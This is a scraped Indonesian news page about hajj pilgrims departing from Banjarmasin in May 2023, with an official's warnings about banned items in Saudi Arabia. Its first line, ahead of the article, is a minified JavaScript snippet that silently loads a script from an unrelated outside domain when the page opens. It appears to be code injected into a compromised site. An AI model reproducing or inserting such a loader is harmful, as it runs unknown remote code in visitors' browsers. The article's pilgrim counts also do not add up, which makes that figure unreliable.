(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Embarkasi Banjarmasin Berangkatkan 17 Kloter Kalsel-Kalteng, Perhatikan Barang Terlarang Dibawa


KANALKALIMANTAN.COM, BANJARMASIN – Keberangkatan calon jemaah haji (CJH) Embarkasi Banjarmasin tinggal menghitung hari. Kloter (Kelompok terbang, red) pertama akan diberangkatkan pada 29 Mei 2023 nanti.

Fase keberangkatan CJH di Embarkasi Banjarmasin akan ditandai dengan masuk asrama pada tanggal 28 Mei 2023, kemudian diberangkatkan ke Tanah Suci pada 29 Mei 2023.

CJH yang siap diberangkatkan dari Embarkasi Banjarmasin berjumlah 5.495 orang, terdiri 3.818 CJH dari Kalsel dan 1.592 CJH dari Kalteng.

Kepala Kantor Wilayah (Kanwil) Kementerian Agama (Kemenag) Kalsel HM Thambrin mengingatkan beberapa hal kepada para jamaah haji dari Kalsel maupun Kalteng yang akan diberangkatkan, terutama terkait barang bawaan.

Baca juga: Ditegur Lawan Arah Arus Jalan, Dua Tusukan MH Tewaskan AN di Trikora

Dirinya meminta kepada jemaah untuk memperhatikan barang-barang yang dilarang dibawa maupun hal yang tidak boleh dilakukan selama berada di Arab Saudi.

“Jangan membawa narkoba dan obat terlarang sejenisnya, serta membawa obat secara berlebihan,” kata Thambrin, Kamis (25/5/2023) siang.

Kemudian jemaah tidak diperbolehkan membawa jimat atau barang yang berkaitan dengan sihir, mengingat hal itu sangat dilarang dan bisa terkena hukuman pasal sihir di Arab Saudi.

Thambrin juga mengingatkan kepada jemaah untuk berhati-hati dalam menerima titipan dari orang yang tidak dikenal.

“Pastikan harus tahu isi titipannya. Termasuk juga bertukar gelang tidak boleh, dan jangan terlalu banyak membawa uang tunai,” imbaunya.

Selanjutnya jemaah diingatkan untuk tidak mengambil foto di tempat-tempat fasilitas pemerintahan Arab Saudi dan berfoto dengan orang tidak dikenal.

Baca juga: Ini Dua SMA Terbaik di Banjarbaru, Masuk Daftar Top 1.000 Versi LTMPT 2022

“Terakhir dilarang membawa CD/DVD yang tidak ada kaitannya dengan ibadah haji atau umrah, dan jangan memasukan air zam-zam ke dalam tas,” ujarnya.

Larangan-larangan tersebut menurutnya harus ditaati oleh seluruh jemaah yang akan berangkat ke Tanah Suci. Sebab jika dilanggar konsekuensi hukum dan sanksi akan diterima jemaah.

“Semoga semua jemaah dapat menjalankan ibadah haji dengan aman dan nyaman,” pungkasnya.

Sekadar diketahui, musim haji tahun ini Embarkasi Banjarmasin akan memberangkatkan 17 Kloter, terdiri dari Kloter jemaah haji Kalsel sebanyak 12  Kloter penuh.

Sedangkan asal Kalteng sebanyak 4 Kloter plus 1 Kloter gabungan Kalsel dan Kalteng yang diberangkatkan melalui Bandara Internasional Syamsudin Noor. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

7 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

7 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

7 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

8 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

9 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

11 jam ago

This website uses cookies.